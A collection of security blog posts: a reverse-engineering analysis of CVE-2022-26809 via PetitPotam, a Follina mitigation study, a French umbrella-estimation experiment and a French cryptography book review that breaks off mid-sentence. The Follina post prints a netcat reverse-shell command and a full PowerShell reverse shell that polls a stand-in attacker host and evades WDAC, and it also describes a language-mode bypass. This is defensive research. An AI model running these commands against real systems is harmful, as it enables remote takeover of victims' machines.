[PetitPotam](https://github.com/topotam/PetitPotam). PetitPotam is an exploit which was initially released in July 2021 by [French researcher topotam](https://twitter.com/topotam77) and later partially patched by Microsoft as [CVE-2021-36942](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942) in the August 2021 patch tuesday, only to be updated in response five days later. The exploit was never addressed since then and still works out of the box on up to date systems and requires no credentials against domain controllers. It relies on [MS-EFSR](https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-EFSR/%5bMS-EFSR%5d.pdf), a protocol developed by Microsoft to allow hosts to access encrypted files over RPC. The idea is quite simple: expose an RPC endpoint clients can connect to to request data on encrypted files (e.g. ask the server to open an encrypted file for reading). The problem is, most requests pass on a path to the file they need to access, and nothing stops them from specifying a path on a network share. Doing so will cause the RPC server to comply and connect to the share to try to get the file from there. This is usually done to make the EFSR server authenticate with a malicious host that will grab its NTLM hash to later use it in [NTLM replay attacks](https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429). We don't need to go all the way there with CVE-2022-26809, PetitPotam will cause the EFSR to connect to a malicious host, which is enough to reach the patched function. Here is an overview of the PetitPotam attack over the network, and the equivalent packet capture in Wireshark: | ![illustration](https://media.licdn.com/dms/image/D4E12AQFdK_JZgoCmjg/article-inline_image-shrink_1000_1488/0/1661203569947?e=1718236800&v=beta&t=UrNjBkKSaJTgxFLnph0glOF55Kpf1nOg99y-kVvSOzQ) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | | ![illustration](https://media.licdn.com/dms/image/D4E12AQGkRZYfrzBpNQ/article-inline_image-shrink_400_744/0/1661203585421?e=1718236800&v=beta&t=DCposCKVHCzIYa-svxqhbhEZcrjufnw0pFc20MFRF8Q) | | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | The two attackers are shown here as different entities for clarity, but they can of course run on the same machine. ### In-depth reverse engineering and analysis Once we knew we could trigger the call to OSF_CASSOCIATION::ProcessBindAckOrNak(), we went on to start debugging the issue. We started by making sure the function was indeed getting called by setting a breakpoint at the right address in rpcrt4.dll on the lsass process, and then triggering a call with PetitPotam. The function is used quite often, but a glance at the stack when the breakpoint hits makes it clear when the call is coming from PetitPotam: | ![illustration](https://media.licdn.com/dms/image/D4E12AQHoISowrTfWUw/article-inline_image-shrink_1000_1488/0/1661203675628?e=1718236800&v=beta&t=_WRCTiHq1sth1h_xVaq6QDaAvJO5onMif14zFskUd4k) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | Let's now dive into the internals of rpcrt4.dll and OSF_CASSOCIATION::ProcessBindAckOrNak(). We can pull the dll from two different systems, one of which is an outdated Windows 10 21H2 (build 19041), and the other one an up to date Windows 11 system (build 22000). After downloading the symbol files from Microsoft and loading everything into our preferred reverse engineering toolkit, we reversed both versions of the function and tried to come up with what might have been the original code. The following graph is a high level vue of the function, with the patched part colored in red: | ![illustration](https://media.licdn.com/dms/image/D4E12AQGvUloXuBOOFA/article-inline_image-shrink_1000_1488/0/1661203701518?e=1718236800&v=beta&t=9s8Jr_9QXlUUsz4UlKdj4EwZAAERkhB_WD70_eMC9EY) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | And here is a diff vue of the important part of the patch, with the irrelevant parts removed: | ![illustration](https://media.licdn.com/dms/image/D4E12AQHjLzhsoyfxOw/article-inline_image-shrink_1500_2232/0/1661203722169?e=1718236800&v=beta&t=kdOWG1zJ95EOf9B7kwCCe2hvapwBDSiyyWb3_99DAR0) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | We can notice that a check was added on line 48 before the body size is computed as body_size = packet_size - 28. Indeed, in the case of a bind_ack pdu, the header size is 26, and rest of a function will try to process the body. If the body does not exist, the PDU will be 26 bytes only, and the unsigned body_size short integer will underflow and reach a value far greater than expected (2^16 - 3). This will bypass the body size check on line 61 / 64. At this point, the data that follows the packet on the heap may be erroneously processed by the function. This is the original idea from the Corelight blog post. It shows how the packet must be 4 bytes aligned, and therefore any packet that would include a n_results field would have a size greater or equal to 28, which means the underflow would not happen. Since a non null n_results is required for anything to happen past that point because of the check on line 65 / 68, an attacker would have to find a way to manipulate the heap to place a non null value at the right address to alter the execution of the function, with very little effect. In the worst case scenario, values on the heap would be changed as the function tries to convert values from big endian to little endian in p_results[], and a invalid binding would be established. Such an attack would not, however, fit the "easy" exploitation rating from Microsoft's description. Furthermore, more work would need to be done, as analyzing a single function by itself is not enough if one does not already know about the internals of the library quite well. Some of the cited papers admit they did not know much about RPC prior to their research on this CVE, and neither did we. ### The ProcessReceivedPDU() patch While ProcessBindAckOrNak() is vulnerable to an integer underflow, ProcessReceivedPDU() seems to be vulnerable to an integer overflow. #### ProcessReceivedPDU() By manipulating packets in a specific way, it might be possible to enter the following routine and trigger the overflow shown in the following: ```c if ((pfc_frag & PFC_FRAG_FIRST) == 0) { if (*plVar10 != 0) { fragment_length = Size; if ((*(int *)&this->field_0x244 == 0) || (*(int *)&this->field_0x1cc != 0)) { if ((*(int *)&this->field_0x214 == 0) || (*(int *)&this->field_0x1cc != 0)) { fragment_length = Size[0] + *(uint *)&this->DispatchBufferOffset; /* Test alloc_hint, fragment*/ if (*(uint *)&this->alloc_size <= fragment_length && fragment_length != *(uint *)&this->alloc_size) { if (*(int *)&this->field_0x1cc != 0) goto LAB_18008ea09; *(uint *)&this->alloc_size = fragment_length; /* overflow check 0x40000 */ puVar1 = &(*this->DispatchBuffer)->field_0x148; if (*(uint *)puVar1 <= fragment_length && fragment_length != *(uint *)puVar1) { //... } // allocate packet size lVar4 = GetBufferDo(*this->DispatchBuffer,(void **)plVar10,fragment_length,1, *(uint *)&this->DispatchBufferOffset,in_stack_ffffffffffffff60); if (lVar4 != 0) goto LAB_18008ee0d; } // if PFC_LAST_FRAG is set, the routine will stop here if ((pfc_frag & 2) == 0) { return 0; } goto LAB_18003ad35; } } } } /* Should enter here, need a request packet type */ else if (type == MSRPC_REQUEST) { //... /* Store fragment length*/ fragment_length = Size; iVar5 = QUEUE::PutOnQueue((QUEUE *)&this->queue,rpc_packet + 1,Size); if (iVar5 == 0) { /* * VULNERABILITY ! * Integer Overflow vulnerability, we can control the size from fragment length * VULNERABILITY ! */ *(uint *)&this->Total_Length = *(int *)&this->Total_Length + fragment_length; //... } //... } ``` The buffer size is limited, so we can't trigger the vulnerability localized on GetCoalescedBuffer() with a single request packet. If the packet is not fragmented, which means that the fragment flag is set to 0x03 or to PFC_FIRST_FRAG | PFC_LAST_FRAG the ProcessReceivedPDU function will return 0, and won't trigger the vulnerability, we therefore need to send a fragmented transmission. We send our RPC query in fragments, with the first and last PDUs respectively carrying the PFC_FIRST_FRAG and PFC_LAST_FRAG flags. Our fragmented transmission needs to be of the request type, to enter the routine that can trigger the integer overflow. The number of queued packets is incremented by the PutOnQueue() call in ProcessReceivedPDU() and decremented by the TakeOffQueue() call in GetCoalescedBuffer(). #### GetCoalescedBuffer GetCoalescedBuffer() merges queued buffers with the last received PDU that has not been queued, and then proceeds to allocate the total length needed and copy every queued message to the provided heap pointer. ```c long __thiscall OSF_SCALL::GetCoalescedBuffer(OSF_SCALL *this,_RPC_MESSAGE *param_1,int param_2) { //... uVar4 = param_1->RpcFlags & 0x4000; lVar1 = 0; local_res18 = 0; uVar2 = uVar4 | param_2; this_00 = &this->field426_0x1e0; local_res10 = param_1; RtlEnterCriticalSection(); /* Total_Length which we can control with fragments (cf. ProcessReceivedPDU)*/ uVar5 = *(uint *)&this->Total_Length; if (uVar5 != 0) { if (uVar2 != 0) { uVar5 = uVar5 + param_1->BufferLength; } lVar1 = OSF_SCONNECTION::TransGetBuffer((OSF_SCONNECTION *)this_00,&size,uVar5 + 0x18); if (lVar1 == 0) { _Dst_00 = (void *)((longlong)size + 0x18); _Dst = _Dst_00; size = _Dst_00; if ((uVar2 != 0) && (param_1->Buffer != (void *)0x0)) { memcpy(_Dst_00,param_1->Buffer,(ulonglong)param_1->BufferLength); size = (void *)((ulonglong)param_1->BufferLength + (longlong)_Dst_00); (**(code **)(*(longlong *)this->Connection + 0x40))(); _Dst = size; if ((uVar4 != 0) && ((*(void **)((longlong)param_1->ReservedForRuntime + 8) = _Dst_00, *(int *)&this->field_0x1cc == 0 && (param_1->Buffer == (void *)this->field214_0xe0)))) { this->field214_0xe0 = (longlong)_Dst_00; } } while (_Src = (void *)QUEUE::TakeOffQueue(&this->queue,(undefined4 *)&size), _Src != (void *)0x0) { uVar3 = (ulonglong)size & 0xffffffff; memcpy(_Dst,_Src,(ulonglong)size & 0xffffffff); (**(code **)(*(longlong *)this->Connection + 0x40))(); _Dst = (void *)((longlong)_Dst + uVar3); } //... } //... } ``` ### Dynamic analysis | ![illustration](https://media.licdn.com/dms/image/D4E12AQEJb2wlQD0Q9Q/article-inline_image-shrink_1500_2232/0/1661203808781?e=1718236800&v=beta&t=xtCaVkNmsOx5mUgGGmBRB4Lt7Akx3IbIo99C3folDeY) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | We catch the first RPC packet by putting a breakpoint at the ProcessReceivedPDU. We can see the rpc request header with the flag at 0x01 equivalent to the PFC_FIRST_FRAG flag. the rdi (Destination index register) contains the address of the RPC packet at this time is equal to 00000000004CAE40. following the dump we get our first packet. Here's the middle fragment set with the flag 0x00. | ![illustration](https://media.licdn.com/dms/image/D4E12AQEToyQ28Y6YEA/article-inline_image-shrink_1500_2232/0/1661203841719?e=1718236800&v=beta&t=o6sNtX7WY8dEWuxHpJ4h_Fl_XGY3LpfWvRUUQoOLF1M) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | The fragments are loaded one by one into the rdi register on each ProcessReceivedPDU() call, before being loaded into the queue by the PutOnQueue() function. | ![illustration](https://media.licdn.com/dms/image/D4E12AQEfTYC7ingjXg/article-inline_image-shrink_1500_2232/0/1661203871785?e=1718236800&v=beta&t=Dt8XxZWjhKJ-be47Jgyya3u583w4PZE3tvoVPAGKw-U) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | In OSF_SCALL::Receive() the code continuously waits for incoming PDUs until a last fragment is received or any error is found. ProcessReceivedPDU() is called until the total size is greater than alloc_hint, or the last fragment is received. GetCoalescedBuffer() is called when receiving the last fragment or once the total length has grown beyond alloc_hint, reassembling all the fragments received from the client, trusting a total size which might have overflowed. Even if this allocation would have problematic consequences, the problem here is triggering the overflow would require sending several gigabytes of data, which seems impossible to do before the receiving end times out, even in ideal conditions. This vulnerability therefore seems like a dead-end. ## In conclusion The scenarios we discussed would indeed have terrible implications if exploited successfully, as it nothing else but a non-authenticated 0-click remote execution as the SYSTEM user over the network. But in case of the first, that's only because over a year after a partial fix, PetitPotam is still a thing and it is what makes the scenario a 0-click RCE. Taking preventive measures against PetitPotam seems necessary at this point. In case of the second scenario, it seems impossible to pull of in practice. CVE-2022-26809 itself remains quite obscure, the description made by Microsoft remains puzzling and the relevant information necessary to really understand the vulnerability is lost in noise as many sources repost from each other without adding any value, flirting with disinformation to surf on the buzz created by the 9.8 CVSS rating, and malicious actors make false malicious proof of concepts. Reverse engineering patches is not a perfect science, but it is what the community needs to rely on in these cases, as there is nothing else to work with. It's a double edged sword, as nefarious actors suffer from the same problem, but Microsoft has shown in the past that they would often not fully patch a vulnerability (PetitPotam is a perfect example), and in the end you have to trust them and their close partners with your security, and hope no attacker with sufficient resources will be able to bypass potentially partial fixes. This is once again a good demonstration that security should not be a passive activity. Official updates are important and will take care of 98% of the potential flaws, but if you cannot afford the remaining 2%, you should make sure to remain proactive in deploying strong preventive measures and reducing your attack surface in order to that would make your system a nightmare for any attacker. In the end your security remains in your hands. ## Timeline | ![illustration](https://media.licdn.com/dms/image/D4E12AQGz4YTC8h3grw/article-inline_image-shrink_1500_2232/0/1661202601052?e=1718236800&v=beta&t=kwALE4F3AchUVwpj75YXJSCOnxyZuXaTf9039GsX_NU) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | --- ### Could we have prevented MSDT - Follina (CVE-2022-30190)? An exploration study URL: https://intuitem.com/cve-2022-30190 Published: 2022-07-14 Author: Adam Hacham, Hector Fétis Once an attack is known, it is generally easy to come up with a fix or at least a mitigation measure. What is more difficult is to design a generic preventive measure that would have defeated the attack in the first place. We have studied CVE-2022-30190, also known as Follina, and tried to come up with good security practices and policies that would have prevented the 0-day from doing much damage to otherwise vulnerable computers. We have considered Windows Defender Application Control (WDAC) and other mitigation schemes. Here are our findings. ## MSDT - CVE-2022-30190 Exploit CVE-2022-30190 is a remote code execution vulnerability which can be triggered by using the msdt protocol in a URL embedded within a document. With the right payload, it is possible to invoke the Microsoft Diagnostic Tool utility and use it to run arbitrary PowerShell code when a Word document is opened by the user. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. Thus this vulnerability is highly valuable to get an initial foothold in a system or network, opening the door for further exploitation like installing programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. We have conducted our analysis using [John Hammond's Follina exploit](https://github.com/JohnHammond/msdt-follina), with minor changes to make it fit to our test environment. A more in-depth analysis of CVE-2022-30190 can be found on [Huntress's blog](https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug). ## Windows Defender Application Control: Detect and Prevent ### Detection With only the DefaultWindows_Enforced.xml sample WDAC policy applied on the victim host, triggering the exploit adds an entry to the logs indicating that a **TS_ProgramCompatibilityWizard.ps1** script is executed in a temporary directory (sample policies are provided by Microsoft and can be found in C:\Windows\schemas\CodeIntegrity\ExamplePolicies). | ![illustration](https://media.licdn.com/dms/image/D4E12AQGBFVSUL2F2ag/article-inline_image-shrink_1000_1488/0/1657750768910?e=1718841600&v=beta&t=asSzVpE_haVthHTgcNggGES7evWZfa2HVIT04C76ZfY) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | ### Prevention WDAC is very effective when an attacker tries to run arbitrary binaries. For example, John Hammond's proof of concept has a reverse shell mode in which it downloads a netcat binary and uses it to connect back to the attacker's computer with the following command: "nc -e cmd.exe evil-server.net 80". Because our WDAC policy only allows binaries signed by Microsoft and netcat is not a trusted binary, it execution is blocked and the attack fails. | ![illustration](https://media.licdn.com/dms/image/D4E12AQEcns7xjmXN7g/article-inline_image-shrink_1500_2232/0/1657750824315?e=1718841600&v=beta&t=2zyUfyDIoi0aY8gDkZIWyWuEJ8oUNataHDuUGz1U5VM) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | ### Bypassing the WDAC Policy (Follina Context) Unfortunately, this is not a perfect solution, and we were able to work around the WDAC Policy by crafting a simple Reverse Shell, which lives in the PowerShell host, and only leverages basic commands such as Invoke-WebRequest. As it is a pure Powershell solution and remains simple enough, it is neither affected by the WDAC Policy nor by potential PowerShell language restrictions. This illustrates well how WDAC will fail to prevent any attack which relies only on trusted binaries. #### Client Reverse Shell ```shell $u = "http://evil-host.net" Invoke-WebRequest -Uri ($u + "/new") -UseBasicParsing while($true) { $body = Invoke-WebRequest -Uri ($u + "/requests") -Method Get -UseBasicParsing if ($body.Content -ne $null) { $result = Invoke-Expression $body.Content | Out-String Invoke-WebRequest -Uri ($u + "/result") -Method Post -Body $result -UseBasicParsing } } ``` | ![illustration](https://media.licdn.com/dms/image/D4E12AQEfXvAXXn1lcA/article-inline_image-shrink_1500_2232/0/1657750887416?e=1718841600&v=beta&t=OFwKk7MUg8FjiJLhNSdlgAaLhL65Vj1tA6fTe_CAKSE) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | ### A PowerShell language mode bypass We noticed two different behaviors depending on the context in which the MSDT exploit is run. In the PowerShell session obtained from the Word msdt/Follina exploit: ``` $ExecutionContext.SessionState.LanguageMode FullLanguage ``` When invoking the same command manually from a PowerShell window: ``` $ExecutionContext.SessionState.LanguageMode ConstrainedLanguage ``` This clearly shows that when no other PowerShell context is available, the troubleshooting script is run with less restriction than the system's default. In this instance, we manage to execute code in full-language mode rather than constrained language mode. Beyond gaining an initial access to a victim computer, this technic can also be used by an attacker who already has access to the system, in order to bypass language restrictions. It is important to note that Microsoft has always stressed out that such restrictions should not be considered as security measures, but rather as simple safeguards against errors. ### Unsuccessful Mitigation During our tests, blocking PowerShell appeared as a good way to reduce the attack surface and prevent exploitation, so we deployed a WDAC policy to block powershell.exe and all its dependencies. This attempt was not successful and the test system still remained vulnerable to CVE-2022-30190, as long as the payload did not try to invoke PowerShell directly. This is due to the fact that MSDT uses its own PowerShell host in a sdiagnhost.exe process. #### First Mitigation Another way to reduce the attack surface is to block MSDT by using WDAC, which successfully stops the attack. This illustrates why binaries that are not strictly required for normal use should not be allowed to execute on sensitive hosts, even if they are component of the Operating System. In fact, Microsoft has a [list of executables](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules) that should be blocked when possible, but MSDT is not among them. | ![illustration](https://media.licdn.com/dms/image/D4E12AQHMAZPmpGCDXg/article-inline_image-shrink_1000_1488/0/1657751006478?e=1718841600&v=beta&t=BF-jZsFsAgTTI09yfvBRtaon2Bzcl7lAZ4BlEtfj5No) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | #### Second Mitigation With further investigation, we have discovered that the attack relies on the execution of the TS_ProgramCompatibilityWizard.ps1 script, which runs in the diagnostics PowerShell host and is therefore allowed to run in FullLanguage Mode. It turns out that this behavior can be changed by setting the HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics\ExecutionPolicy to Unrestricted. It successfully prevents the diagnostic script from executing and stops CVE-2022-30190, which relies on TS_ProgramCompatibilityWizard.ps1 to execute PowerShell code. | ![illustration](https://media.licdn.com/dms/image/D4E12AQHa8fER2Rwqgw/article-inline_image-shrink_1500_2232/0/1657751058934?e=1718841600&v=beta&t=WBeXjY9rZ0pg-isG08dF1UMMSSTtbpbFr4AkaxrQm1U) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | #### Third Mitigation Microsoft also provides the Exploit Protection tools, which can be used to forbid programs which do not need to do so from spawning child processes. On this specific example, the mitigation can be applied to Word, and prevents it from invoking MSDT, but similar exploits are still possible, from example by exploiting Edge instead of Word, as the former requires the permission to start child processes to function properly. #### Lab Environment - Attacker Host: Linux - Victim Host: Windows 10 21H2 with the DefaultWindows_Enforced.xml WDAC policy applied in Enforcement Mode, no internet connection and Windows Defender enabled. | ![illustration](https://media.licdn.com/dms/image/D4E12AQGfi_kksQX6ug/article-inline_image-shrink_1500_2232/0/1657751115980?e=1718841600&v=beta&t=N5ALmWKh_Cw7wRbUX05O7crDuS9i8juU9fXB9Go53EQ) | | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------: | ## Conclusion This study shows that it is difficult to design a preventive measure for a zero-day attack like Follina. So reaction and adaptation are key factors for effective security. However, lessons learned from the study of exploits can also be used to design broader mitigations that could prevent the next zero-day. Our first and second mitigations are original as far as we know, and have this potential. ## Reference - https://github.com/mattifestation?tab=repositories - https://www.youtube.com/channel/UCpTXxtYcJDFtE22_Bj-qyxg - https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/msdt - https://paper.seebug.org/1914/ - https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wintt/windows-troubleshooting-toolkit-portal - https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug --- ### Mais combien pèse le parapluie d’intuitem ? URL: https://intuitem.com/combien-pese-le-parapluie-intuitem Published: 2022-06-11 Author: Eric Laubacher Vous étiez plus de 300 personnes à avoir participé à notre nouvelle expérience cette année pour le #FIC2022 et nous vous en remercions ! Sans plus attendre, le parapluie pèse **480g** 🌂 Comme on l’a laissé entendre, il y avait une surprise. Nous avons mené deux expériences en parallèle : une de statistique et l’autre de psychologie. En effet, le relevé de mesures s’est fait en deux groupes : le premier en montrant les mesures déjà collectés avec une première mesure fictive de 720g, et l’autre spontané, sans biais particulier, où les mesures précédentes étaient cachées. On observe les distributions suivantes : ![alt text](https://miro.medium.com/v2/resize:fit:1400/format:webp/0*Yf361A3yr92jdYbC) La valeur médiane est de 500g, comparé à la valeur réelle de 480g 😎 ![alt text](https://miro.medium.com/v2/resize:fit:1400/format:webp/0*ZQcOAJC2gh3IT7Wb) La valeur médiane est de 690g comparé au biais de 720g 🥸 _Légende : en vert la valeur réelle, en noir la médiane dans chaque cas et en rouge l’ancrage._ On constate que l’estimation sans influence est légèrement supérieure au poids réel : la médiane présente à peine une erreur de 4%. Quant à la seconde expérience, on note l’influence du point d’ancrage où la médiane tend vers la valeur fictive injectée, et curieusement à une erreur de 4% également. L’expérience est inspirée de celle de [Galton](https://fr.wikipedia.org/wiki/Francis_Galton) et fais partie des modèles cognitifs que nous étudions pour l’appréciation des risques. La sagesse du groupe illustrée ici mets en évidence la pertinence de croiser des avis en aveugle pour converger vers une appréciation juste et de rester vigilant aux différents biais, directs ou indirects, qu’une organisation peut introduire et qui peuvent influencer même l’intelligence collective. Suivez notre actualité sur [LinkedIn](https://www.linkedin.com/company/intuitem/) et notre site pour découvrir comment nos solutions mettent ces enseignements en pratique ! --- ### Real-world cryptography, David Wong URL: https://intuitem.com/real-world-cryptography-fr Published: 2021-12-30 Author: Eric Laubacher J'ai découvert le talent de David Wong pour enseigner la cryptographie en résolvant pendant le grand confinement un challenge d'AES à 4 tours sur Root-me. En effet, David avait publié sur son blog un [article sur l'attaque Square](https://www.davidwong.fr/blockbreakers/square_2_attack4rounds.html), avec des illustrations particulièrement réussies pour faciliter la compréhension du lecteur. Dès lors, lorsque j'ai vu que David était en train d'écrire un ouvrage complet sur la cryptographie chez l'éditeur Manning, j'ai suivi avec intérêt sa rédaction. Dès sa sortie, j'ai lu l'ouvrage en entier, comme un roman passionnant ! Récemment, je l'ai repris pour une deuxième lecture avec prise de notes. Voici quelques éléments qui m'ont particulièrement intéressés. L'ouvrage porte sur la cryptographie moderne, et évite délibérément l'approche historique. Il désigne de façon claire les meilleures pratiques, sans perdre de temps sur le cheminement ayant conduit à celles-ci. C'est une démarche idéale pour un praticien à la recherche de la meilleure solution à son problème. Les nombreux schémas sont remarquablement didactiques, et constituent une des marques de fabrique de l'auteur. On peut noter que la version électronique est plus lisible que la version papier, grâce à l'apport de la couleur. La première partie de l'ouvrage (les "ingrédients") présente les primitives de base pour batir des protocoles cryptographiques : - les fonctions de hachage - les mécanismes de scellement (Message Authentication Code, MAC) - le chiffrement symétrique authentifié (Authenticated Encryption with Associated Data, AEAD) - les échanges de clés (Key Exchange) - le chiffrement asymétrique et le chiffrement hybride - les signatures et preuves à divulgation nulle de connaissance - l'aléa et les secrets Le chapitre sur les fonctions de hachage est très détaillé et instructif. Les propriétés principales attendues en cryptographie théorique sont bien expliquées : - la résistance à la pré-image - la résistance à la seconde pré-image - la résistance à la collision Sur ce point, j'ai regretté que les attaques pratiques sur les collisions MD5 n'aient pas été mentionnées, car le livre pourrait laisser penser que les attaques par collision n'ont pas de conséquences réelles. Les attaques par extension sur les constructions de type Merkle-Dåmgard sont clairement présentées. L'ouvrage ne mentionne pas que les versions tronquées (par exemple SHA-512/256) sont résistantes, ce qui est une petite lacune. L'intérêt de SHA-3, avec sa construction de type "éponge" résistante aux attaques par extension, est bien mis en valeur. Les mécanismes de scellement présentés sont HMAC et KMAC. Dès ce chapitre, un exemple très clair d'attaque temporelle est fourni, et illustre bien les subtilités de la cryptographie appliquée. Concernant AEAD, l'ouvrage va droit au but et préconise AES-GCM et ChaCha20-Poly1305. C'est uniquement à la fin du chapitre que David aborde les cas particuliers où l'authentification n'est pas pertinente, comme le chiffrement de disque ou de bases de données. Pour le chiffrement de disque, la notion de chiffrement de bloc large (wide-block cipher), aussi appelée "l'authentification du pauvre" est expliquée. L'algorithme à l'état de l'art est Adiantum, basé sur ChaCha et standardisé par Google. Le chapitre sur l'échange de clé couvre très logiquement DH et ECDH. C'est l'occasion de présenter la théorie des groupes et les courbes elliptiques. David mentionne le site [keylength](https://keylength.com/), ce qui est un exemple des références externes de grande valeur qui émaillent l'ouvrage. Les attaques par petit sous-groupe sont bien détaillées, et font prendre conscience de l'importance de prendre en compte des résultats de cryptographie théorique pour éviter les pièges. Dans le chapitre sur le chiffrement asymétrique, David mentionne la librairie Tink de Google, avec un exemple de code Java. Le livre comporte plusieurs exemples pratiques de code dans différents langages, ce qui augmente son attrait pour un lecteur programmeur. L'idée sous-jacente au RSA (cacher l'ordre du groupe) est présentée de façon didactique. L'histoire triste des problèmes rencontrés avec cet algorithme, notamment au travers du remplissage PKCS#1 v1.5 et des attaques récurrentes de Bleichenbacher, est particulièrement frappante. On prend alors conscience de l'inertie considérable de l'industrie à se débarrasser des constructions vulnérables. Il est ainsi surprenant de voir que le mécanisme RSA-KEM, très simple et disposant d'une preuve de sécurité, n'est pratiquement pas utilisé ! Pour les courbes elliptiques, l'ouvrage détaille le chiffrement asymétrique ECIES (Elliptic Curve Integrated Encryption Scheme). J'ai noté avec étonnement que les implémentations distinctes ne sont pas nécessairement interopérables. Le chapitre sur la signature a été spécialement instructif pour moi. En effet, David explique le lien entre preuve à divulgation nulle de connaissance (ZKP) et la signature électronique, en montrant que celle-ci est simplement une ZKP non-interactive, le défi étant calculé à l'aide d'une empreinte cryptographique des données d'entrée (heuristique de Fiat-Shamir). Le chapitre recommande explicitement Ed25519, une bonne illustration des conseils très concrets fournis tout au long de l'ouvrage. Les attaques par substitution sont bien détaillées, ce qui incite à une saine vigilance. Le chapitre sur les générateurs aléatoires et la gestion des secrets clôt la première partie en beauté. La difficulté à obtenir de l'aléa de qualité cryptographique est bien exposée, et la mise en garde claire. Plusieurs exemples d'attaques célèbres sont fournis, par exemple celle sur la PS3 de Sony qui réutilisait un nonce avec ECDSA. J'ai apprécié ce conseil très simple et sage : favoriser les algorithmes qui reposent moins sur les aléas, par exemple EdDSA plutôt que ECDSA. La gestion des secrets aborde les problématiques de rotation de clés, de révocation, de rôles et de magasins de clés. On comprend bien qu'il s'agit d'un problème difficile, pour lequel il n'existe pas de solution idéale. La deuxième partie de l'ouvrage (les "recettes") présente les protocoles cryptographiques s'appuyant sur les mécanismes présentés dans la première partie, au travers des chapitres suivants : - SSL et TLS - le chiffrement de bout-en-bout - l'authentification utilisateur - les blockchains - la cryptographie matérielle - la cryptographie post-quantique - la cryptographie du futur - la mise en œuvre pratique David Wong est un des contributeurs de TLS 1.3. Il présente cette nouvelle version avec grande clarté : - l'échange de clé est soit ECDH avec P-256, P-384, P-521, X25519 ou X448, soit FFDH avec les groupes de la RFC 7919 - les signatures se font avec RSA PKCS#1.5, RSA-PSS, ECDSA, EdDSA - la fonction de hachage pour HMAC et HKDF est soit SHA-256, soit SHA-384 - le chiffrement AEAD est soit AES-GCM 128 ou 256 , ChaCha20-Poly1305, soit AES-CCM (non décrit dans l'ouvrage) Les mécanismes spécifiques de TLS 1.3, comme les clés pré-partagées (PSK), l'envoi d'un échange de clé spéculatif pendant la négociation, le 0-RTT sont expliqués. La validation des certificats X.509 est jugée "le code le plus dangereux au monde", de fait David recommande d'éviter X.509 quand cela est possible. Les problématiques de la PKI web sont bien exposés, notamment l'évolution des pratiques de gestion de la révocation, de la CRL à l'agrafage OCSP. Comme le rappelle David, la révocation est comme une ceinture de sécurité, elle sert rarement, mais elle peut sauver des vies. L'ouvrage évoque ensuite les autres protocoles de transport sécurisé : SSH, WPA et IPSec. Puis il détaille le framework Noise, qui permet de construire un protocole adapté à chaque besoin, beaucoup plus simple et plus sûr que TLS. Pour un développement sur mesure couvrant client et serveur, voici une approche très intéressante à considérer. Le chapitre sur le chiffrement de bout en bout aborde en premier lieu les déboires de PGP et S/Mime, et on comprend clairement que SMTP est fondamentalement conçu comme un protocole non chiffré. Les tentatives de solutions comme Saltpack sont évoquées. L'essor des messageries instantanées sécurisées est ensuite présenté, avec une description détaillée et abondamment illustrée du protocole X3DH inventé par Signal et repris notamment par Skype et Whatsapp. Le principe de confiance à la première utilisation (TOFU) est une bonne illustration de l'aspect pragmatique de la cryptographie appliquée. Le chapitre sur l'authentification des utilisateurs permet de prendre conscience d'un point important : en cryptographie, le défi principal n'est pas le chiffrement, mais l'authentification. L'authentification consiste à prouver qu'une chose ou une personne est bien ce qu'elle ou qui elle est sensée être. Le chapitre détaille deux types d'authentification : - l'authentification utilisateur : comment une machine authentifie un humain - l'authentification assistée par l'utilisateur : comment deux machines s'authentifient mutuellement avec l'aide d'un humain La description des échanges de clés authentifiés par mot de passe (Password Authenticated Key Exchange, PAKE) est très instructive. En 2019, le forum de recherche cryptographique (CFRG) de l'IETF a recommandé deux protocoles de ce type : - CPace pour le PAKE symétrique - OPAQUE pour le PAKE asymétrique La description d'OPAQUE est l'occasion de montrer l'utilité d'une fonction de génération pseudo-aléatoire à donnée cachée (OPRF). Le fonctionnement de TOTP est également très bien illustré. Le chapitre sur les monnaies électroniques est le plus original. Il introduit la problématique des consensus byzantins (Byzantine Fault Tolerance, BFT), et fournit un lien très pertinent concernant l'algorithme Raft. Les principaux mécanismes de Bitcoin sont décrits, ainsi que le protocole DiemBFT, au cœur de la monnaie électronique Diem, à laquelle David Wong a contribué. Le chapitre sur la cryptographie matérielle illustre particulièrement bien la différence entre la théorie et la pratique en cryptographie. On parle même de "cryptographie imparfaite", aussi nommée la "défense en profondeur". Quand l'attaquant a un accès physique à un système, la prévention est beaucoup plus compliquée que pour un accès à distance. Après avoir mis en garde contre les approches de cryptographie en boite blanche, le chapitre détaille les problématiques des HSMs, TPM, TEE. Il se termine par une évocation de la cryptographie résistante aux fuites, i.e. les méthodes cryptographiques permettant de lutter contre les attaques par canaux cachés. Le fait que des attaques par faute puissent être menées par logiciel (voir V0LTpwd / Plundervolt) est assez cocasse, 